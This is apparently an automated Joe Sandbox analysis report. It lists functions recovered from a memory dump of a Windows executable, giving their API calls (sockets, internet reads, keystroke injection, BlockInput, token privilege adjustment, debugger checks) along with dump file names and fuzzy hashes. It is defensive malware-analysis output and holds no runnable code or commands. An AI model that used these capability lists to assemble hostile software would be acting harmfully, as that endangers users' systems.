Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 001C9A4E
GetSysColor.USER32(0000000F), ref: 001C9B23
SetBkColor.GDI32(?,00000000), ref: 001C9B36

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 19baf01232f164704ad1092872c8bd0b0eff977a7a86c16da51d7b15da9697ef
Instruction ID: dcd11fb39d9fbce638621cba8a33c5f67aab26fa8b6dd9c59e144e37bd0ce4f4
Opcode Fuzzy Hash: 19baf01232f164704ad1092872c8bd0b0eff977a7a86c16da51d7b15da9697ef
Instruction Fuzzy Hash: 17A13570629500BFE72CAE2C9C8DF7B2A9DEB62340B15010DF402D76E2CB25ED61D672

Function 00231806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0023304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0023307A
Part of subcall function 0023304E: _wcslen.LIBCMT ref: 0023309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0023185D
WSAGetLastError.WSOCK32 ref: 00231884
bind.WSOCK32(00000000,?,00000010), ref: 002318DB
WSAGetLastError.WSOCK32 ref: 002318E6
closesocket.WSOCK32(00000000), ref: 00231915

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 7649c7292e3c247e4f1327a81f67d9a6f53a3bcd33a63a68f09b86d274b4a4ed
Instruction ID: a5df6ff6516caca3bacda3dc62fa8e87e3fd7679682af4b0591a11cfae5991d3
Opcode Fuzzy Hash: 7649c7292e3c247e4f1327a81f67d9a6f53a3bcd33a63a68f09b86d274b4a4ed
Instruction Fuzzy Hash: 7A51C575A002009FEB10AF24D88AF6A77E5AB59718F18809CF9059F3D3C771ED518BE1

Function 00241C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00241CC0
IsWindowEnabled.USER32 ref: 00241CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00241CDB
IsIconic.USER32 ref: 00241CE9
IsZoomed.USER32 ref: 00241CF7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b85ae07c8e09ac2deaff81652b132c316d4e5b0d033b06a588789d32a5083ddf
Instruction ID: 45aa22e59fdf40dd8032935009db4896b0769876ca212c332d3480095a477fed
Opcode Fuzzy Hash: b85ae07c8e09ac2deaff81652b132c316d4e5b0d033b06a588789d32a5083ddf
Instruction Fuzzy Hash: 332127317512119FD3288F1ADC84B6A7BE5EF85314F19805DE84ACB351CB71DCA2CB91

Function 0021AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0021AAAC
SetKeyboardState.USER32(00000080), ref: 0021AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0021AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0021AB88

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 91f3ab81d3c73ceb116f396f5e17b4fefedeb9f4bf3306179dd6278b6ed0f5bb
Instruction ID: 1d2ed20b7a9a563558d2a9333f75be1e7e5be0558529f021b936942392727e77
Opcode Fuzzy Hash: 91f3ab81d3c73ceb116f396f5e17b4fefedeb9f4bf3306179dd6278b6ed0f5bb
Instruction Fuzzy Hash: AB314A70A66288AEFB34CF68CC05BFA77E6AF74314F04421AF081521D0C3748AE0C752

Function 001EBB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001EBB7F

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

GetTimeZoneInformation.KERNEL32 ref: 001EBB91
WideCharToMultiByte.KERNEL32(00000000,?,0028121C,000000FF,?,0000003F,?,?), ref: 001EBC09
WideCharToMultiByte.KERNEL32(00000000,?,00281270,000000FF,?,0000003F,?,?,?,0028121C,000000FF,?,0000003F,?,?), ref: 001EBC36

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: 3c950f6dba1890a28ae208ff930be51f083e24db6ecf0243f4634b56adaacc83
Instruction ID: 059e8edceb47a609e5054561f26e5a6919629ce286c84294c384b985e7ea6988
Opcode Fuzzy Hash: 3c950f6dba1890a28ae208ff930be51f083e24db6ecf0243f4634b56adaacc83
Instruction Fuzzy Hash: 9331F034909695DFCB14DF6AEC8182EBBB8FF56310B2442AAE454D72E5C7309D12CB50

Function 0022CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0022CE89
GetLastError.KERNEL32(?,00000000), ref: 0022CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0022CEFE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: c279f21a1ee1ceb7be05bfe1263260646c528f4c8b7c9723c8baa14f293a2578
Instruction ID: 4fa49742fdde9cb805a679c560843cfa409d072e27e896440d4e65bc99d813c7
Opcode Fuzzy Hash: c279f21a1ee1ceb7be05bfe1263260646c528f4c8b7c9723c8baa14f293a2578
Instruction Fuzzy Hash: 2521CFB1510716ABDB30DFA5E948BABB7FCEB50358F20442EE646D2151E7B0EE148B50

Function 00225C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00225CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00225D17
FindClose.KERNEL32(?), ref: 00225D5F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 7c201151d5058da4b3d14f2f952646a8661f5ba3f5f05e741832abc176cffd13
Instruction ID: e8ae8c8d58b8fb9a2de0c4f212bb3ded0fd344f121cbd81d90d2653beb0960b4
Opcode Fuzzy Hash: 7c201151d5058da4b3d14f2f952646a8661f5ba3f5f05e741832abc176cffd13
Instruction Fuzzy Hash: C651BB34614A12AFC714CF68D494E96B7E4FF4A324F14855EE95A8B3A2CB30EC14CF91

Function 001E2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 001E271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001E2724
UnhandledExceptionFilter.KERNEL32(?), ref: 001E2731

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a03fddfff26114edcc4d5bdb7c1f57171dc90e6ddb0b5b033767a4ea1b015f6c
Instruction ID: 58cd569543e9ab63bce33bce004535f03a3e20d59307c75754f268f16edabda2
Opcode Fuzzy Hash: a03fddfff26114edcc4d5bdb7c1f57171dc90e6ddb0b5b033767a4ea1b015f6c
Instruction Fuzzy Hash: 0F31B374911228ABCB21DF69DC8979DBBB8BF18310F5041EAE81CA7261E7749F818F45

Function 002251CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 002251DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00225238
SetErrorMode.KERNEL32(00000000), ref: 002252A1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 0caa81f49abd25755f9e39a637a66f371da75a3f9d00ba4d9c9c89c01c4bc1d6
Instruction ID: f72ea4e0baf9daa0ce30afde7d6540c3b5c3f36c5049c851e0664bed8bd4eaec
Opcode Fuzzy Hash: 0caa81f49abd25755f9e39a637a66f371da75a3f9d00ba4d9c9c89c01c4bc1d6
Instruction Fuzzy Hash: 7D312F75A10519EFDB00DF94D888EEDBBB4FF49314F148099E8099B392DB71E856CBA0

Function 002116C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 001CFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 001D0668
Part of subcall function 001CFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 001D0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0021170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0021173A
GetLastError.KERNEL32 ref: 0021174A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: efcead9c08162f53978d46d3086c9b05eaa61629c6401d1a190587cef67bae33
Instruction ID: b610f38c28499da9f90d827aac9518053b9403a40d09e3fe298d994c95d96b53
Opcode Fuzzy Hash: efcead9c08162f53978d46d3086c9b05eaa61629c6401d1a190587cef67bae33
Instruction Fuzzy Hash: 5511C1B2414305AFD7189F54EC86EABB7FDEB54714B20852EE05653291EB70FC928A20

Function 0021D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0021D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0021D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0021D650

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 582c25aba8139d6ab5dc11c11984f5a218812c55211cf039f6b6386d326e4c93
Instruction ID: 536efb826dd5e2dff44c7602a8caf828775772f714a3ed5a695a244f849a8c3e
Opcode Fuzzy Hash: 582c25aba8139d6ab5dc11c11984f5a218812c55211cf039f6b6386d326e4c93
Instruction Fuzzy Hash: 0C113075E05228BBDB108F99AC49FAFBBBCEB45B50F104155F904E7290D6B05A058BA1

Function 00211663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0021168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 002116A1
FreeSid.ADVAPI32(?), ref: 002116B1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 08e929c93937b55cee5d5b6f67d9eadab62ea3ea3d9ab9b0417f56f24ec050ed
Instruction ID: 52c585199c1a872c4445733fc6493a9e08c05d9455173b3d3597002a9e138317
Opcode Fuzzy Hash: 08e929c93937b55cee5d5b6f67d9eadab62ea3ea3d9ab9b0417f56f24ec050ed
Instruction Fuzzy Hash: 37F0F475A51309FBDB00DFE49C89AAEBBBCEB08605F504965E501E2181E774AA448A54

Function 0020D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0020D28C

Strings

X64, xrefs: 0020D2A8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 7a36532c2d3feb4d31230de9e097260555bb44087e961bcfd008ff5a111b7fde
Instruction ID: de46422c3a33dccf8e414d6d7ad673ba10ba5be99bb311ba423d4327293358d5
Opcode Fuzzy Hash: 7a36532c2d3feb4d31230de9e097260555bb44087e961bcfd008ff5a111b7fde
Instruction Fuzzy Hash: 05D0C9B481211DEFCB94CB94EC88DDAB37CBB14305F100165F506A2040DB7095488F10

Function 002268EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00226918
FindClose.KERNEL32(00000000), ref: 00226961

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 29818225bef282cbe8a1f34c859438387b82b00c7de92e68123462c70be91aa9
Instruction ID: 290e8728b4dbf757ef65aca68fb78fda6e27959999d9478d6a7524f37e5618f8
Opcode Fuzzy Hash: 29818225bef282cbe8a1f34c859438387b82b00c7de92e68123462c70be91aa9
Instruction Fuzzy Hash: 0911D3356142119FC710CF69D488A16BBE0FF85328F14C69DF4698F6A2CB70EC45CB90

Function 002237B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00234891,?,?,00000035,?), ref: 002237E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00234891,?,?,00000035,?), ref: 002237F4

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: bb0c6311c9c8f531eac98d38c1a7a14d393e4f8b7f4321b8e0a9548ba4c697d7
Instruction ID: dab22ce2b5d6e488613410d623c473d1fc8e8fac125f3b400f11657af674ced1
Opcode Fuzzy Hash: bb0c6311c9c8f531eac98d38c1a7a14d393e4f8b7f4321b8e0a9548ba4c697d7
Instruction Fuzzy Hash: 6CF05C706052283BDB1057A55C4CFEB7A9DDFC5760F000161F504D2180C6A04904C6B0

Function 0021B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0021B25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 0021B270

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: cd95b8ad423fe8100ffcce46442b240f44c3034774946eed1508e91f516b5b14
Instruction ID: a08d0e84afac9b240520838a569f66b5e09f8fb70a3d7a006e57e42300be3b9f
Opcode Fuzzy Hash: cd95b8ad423fe8100ffcce46442b240f44c3034774946eed1508e91f516b5b14
Instruction Fuzzy Hash: ACF06D7481424EABDB058FA4C805BEE7BB4FF04305F108009F951A5191C3798615DF94

Function 002110BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,002111FC), ref: 002110D4
CloseHandle.KERNEL32(?,?,002111FC), ref: 002110E9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 2439df723b644e2ac6eefa4a59416c62f9d5c8d54a226aeb603e67fa8c1cbef9
Instruction ID: 93f6c05357823728323baf618ac9a60f1fee3d108909f26ec3744d741dafef03
Opcode Fuzzy Hash: 2439df723b644e2ac6eefa4a59416c62f9d5c8d54a226aeb603e67fa8c1cbef9
Instruction Fuzzy Hash: 82E04F32019610AEE7252F55FC09FB37BE9EB14310B20882DF5A6804B1DB62ACA0DB10

Function 0022EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0022EABD

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: a393a9644a83971c52c7aa919bfd82ea4000715b3c86ce92b845267f83ad93e7
Instruction ID: dfdb6aa8ad6001f5117cb4256d0c3fb211ac963c19a1df144646fed792c88271
Opcode Fuzzy Hash: a393a9644a83971c52c7aa919bfd82ea4000715b3c86ce92b845267f83ad93e7
Instruction Fuzzy Hash: B6E04F35210214AFC710EF9DE844E9AF7EDAFA9760F01841AFC4AC7351DBB0E8408B91

